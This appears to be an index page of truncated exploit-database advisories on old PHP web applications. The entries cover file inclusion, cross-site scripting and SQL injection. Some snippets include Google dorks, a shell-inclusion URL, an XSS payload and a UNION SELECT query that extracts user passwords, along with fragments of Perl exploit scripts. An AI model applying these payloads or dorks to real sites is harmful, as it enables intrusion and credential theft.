Weatimages 1.7.1 - ini[langpack] Remote File Inclusion

RFI Weatimages Hack Script name : Weatimages Script Download Adress:http://www.hotscripts.com/jump.php?listingid=52592&jumptype=1 Demo site:http://www.nazarkin.name/projects/weatimages/demo/index.php?inilangpack=shelladress Google Dork : inurl: index.php?inilangpack= Author:Co-Sarper-Der...

WitShare 0.9 (index.php menu) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================ WitShare 0.9 index.php menu Local File Inclusion Vulnerability ================================================================ """"""""""""""""""""""""""""""""""""""""""""""...

livor-xss.txt

/ livor 2.5 Cross-Site Scripting Vulnerability / //Author: Arham Muhammad //Source: http://www.arizona-dream.com/Usa/Divers/scriptsphp/scripts/livor.zip //Vulnerable File: index.php //XsS: http://victim/path/index.php?page=//alert/xss/; //Risk: Session Hijack //Fix: The Variable "page" Need To Be...

PcP-Guestbook 3.0 (lang) Local File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ============================================================= PcP-Guestbook 3.0 lang Local File Inclusion Vulnerabilities ============================================================= .-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| | o/ \o | |/ ...

WitShare 0.9 - 'index.php?menu' Local File Inclusion

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

Livor 2.5 - index.php Cross-Site Scripting

Livor 2.5 - index.php Cross-Site Scripting source: https://www.securityfocus.com/bid/23353/info Livor is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in th...

Remote File Include In Script stat12

By Hasadya Raed Contact : [email protected] Israel --------------------------- Script : stat12 Download Script : http://www.samphp.com Dork : Copyright c 2004 by Sam Tang Greetz : Yonatan --------------------------- B.File : index.php --------------------------- Expl :...

PHP-FUSION Arcade Module (cid) Remote SQL Injection Vuln

-------------------------------- PHP-FUSION Arcade Module cid Remote SQL Injection Vuln -------------------------------- Bulan: xoron xoron.biz -------------------------------- Exploit: index.php?op=viewgamelist&cid=-1//union//select//null,username,userpassword,null,null,null//from//fusionusers/...

2BGal 3.1.1 <= (admin/index.php) Remote File Include Vulnerability

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= 2BGal 3.1.1 = admin/index.php Remote File Include Vulnerability Script: 2BGal Version: 3.1.1 Download: http://www.ben3w.com/multimedia/2bgal.zip Discover: BorN To K!LL =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= Bug in:...

Malaika System MyAds Xoops模块Index.php SQL注入漏洞

Malaika System MyAds是一款基于PHP的WEB应用程序。 Malaika System MyAds不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息。 问题是'Index.PHP'脚本对用户提交的'cid'参数缺少过滤，提交恶意SQL代码作为参数数据，可导致更改原来的SQL逻辑，获得敏感信息。 Malaika System MyAds 2.04jp 目前没有解决方案提供： http://malaika.s31.xrea.com/ !/usr/bin/perl Script Name: Xoops Module MyAds Bug Fix ...

CVE-2007-1811

The vulnerability described as CVE-2007-1811 affects the Tiny Event module for XOOPS (version 1.01 and earlier). It is a SQL injection in index.php where the id parameter used by the show action allows remote attackers to execute arbitrary SQL commands. This is the confirmed root cause: improper ...

PHP-Fusion Module topliste 1.0 - cid SQL Injection

PHP-Fusion Module topliste 1.0 - cid SQL Injection -------------------------------- PHP-FUSION topliste Module cid Remote SQL Injection Vuln -------------------------------- Bulan: xoron - unique xoron.biz -------------------------------- Exploit:...

Xoops Module Lykos Reviews 1.00 (index.php) SQL Injection Exploit

No description provided by source. html head titleXOOPS Module Lykos Reviews 1.00 index.php BLIND SQL Injection Exploit/title script type="text/javascript" //'=============================================================================================== //'Script Name: XOOPS Module Lykos Reviews...

slaed-rfi.txt

By Hasadya Raed Contact : [email protected] Israel ----------------------------------------------- Script : SLAEDCMS2 Dork : "Web site engine code is Copyright © 2006 by SLAED CMS. All rights reserved" ----------------------------------------------- B.Files : admin.php index.php...

Remot File Include In SLAED_CMS_2

By Hasadya Raed Contact : [email protected] Israel ----------------------------------------------- Script : SLAEDCMS2 Dork : "Web site engine code is Copyright © 2006 by SLAED CMS. All rights reserved" ----------------------------------------------- B.Files : admin.php index.php...

XOOPS Module Lykos Reviews 1.00 - index.php SQL Injection

XOOPS Module Lykos Reviews 1.00 - index.php SQL Injection XOOPS Module Lykos Reviews 1.00 index.php BLIND SQL Injection Exploit //'=============================================================================================== //'Script Name: XOOPS Module Lykos Reviews 1.00 index.php BLIND SQL...

CVE-2007-1776

The vulnerability CVE-2007-1776 affects the DesignForJoomla.com D4J eZine (com_ezine) Joomla! extension (version 2.8 and earlier). The root cause is an SQL injection in index.php that allows remote attackers to execute arbitrary SQL commands via the article parameter in a read action. The connect...

XOOPS Module MyAds Bug Fix 2.04jp - index.php SQL Injection

XOOPS Module MyAds Bug Fix 2.04jp - index.php SQL Injection !/usr/bin/perl Script Name: Xoops Module MyAds Bug Fix : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...

XOOPS Module MyAds Bug Fix 2.04jp - 'index.php' SQL Injection

!/usr/bin/perl Script Name: Xoops Module MyAds Bug Fix : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...

Joomla! D4JeZine组件index.php SQL注入漏洞

Joomla! D4JeZine是一款基于PHP的WEB应用程序。 Joomla! D4JeZine不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息。 问题是'Index.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL代码作为参数数据，可导致更改原来的SQL逻辑，获得敏感信息。 DesignForJoomla D4J eZine 2.8 目前没有解决方案提供： http://designforjoomla.com/joomlaextensions/d4jezine.php html head titleJoomla Component...